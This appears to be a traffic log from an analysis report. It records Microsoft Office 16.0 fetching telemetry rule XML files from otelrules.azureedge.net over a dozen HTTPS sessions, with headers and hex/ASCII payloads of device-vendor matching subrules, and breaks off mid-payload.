2024-11-14 16:24:16 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:16 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:16 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8a8ac7e4-f01e-0020-50a8-34956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162416Z-1749fc9bdbdqhv2phC1DFWvd3000000002qg00000000df6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:16 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:16 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:16 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:16 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: a31f2de1-f01e-0096-7209-2d10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162416Z-16547b76f7fdtmzhhC1DFW6zhc00000007u0000000007k83 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:16 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:16 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:16 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:16 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 537f77db-e01e-0085-2863-35c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162416Z-r178fb8d765z9wvrhC1DFW1a0s0000000100000000002nb2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:16 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:16 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:16 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:16 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162416Z-16547b76f7f7lhvnhC1DFWa2k00000000ks000000000mycb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:16 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:16 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:16 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:16 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: be525922-801e-00a0-03ff-2c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162416Z-16547b76f7f775p5hC1DFWzdvn0000000kug00000000msv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 16:24:16 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:17 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:17 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: fa88b3fb-501e-0064-3f39-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162417Z-1749fc9bdbdgs9sshC1DFWt6ws00000002tg00000000p69q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:17 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:17 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:17 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:17 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: ee786005-101e-0065-140e-2d4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162417Z-16547b76f7fcrtpchC1DFW52e80000000kv000000000sf5w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 16:24:17 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:17 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:17 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: a2886317-b01e-00ab-6c01-2ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162417Z-16547b76f7fvllnfhC1DFWxkg80000000kvg00000000rhn6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:17 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:17 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:17 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 42046764-d01e-0028-78a2-347896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162417Z-r178fb8d765dbczshC1DFW33an00000002h000000000skmq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:17 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:17 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:17 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 5ead3c92-b01e-0084-18a1-34d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162417Z-1749fc9bdbdjgplnhC1DFWhrks00000002rg0000000034z6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:17 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:18 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:18 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 933b6e18-c01e-0079-6ca0-34e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162418Z-1749fc9bdbdqhv2phC1DFWvd3000000002pg00000000gxwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:18 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:18 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:18 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:18 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: bf72ccbe-301e-001f-25a0-34aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162418Z-r178fb8d765z9wvrhC1DFW1a0s00000000wg00000000emn5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 16:24:18 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" 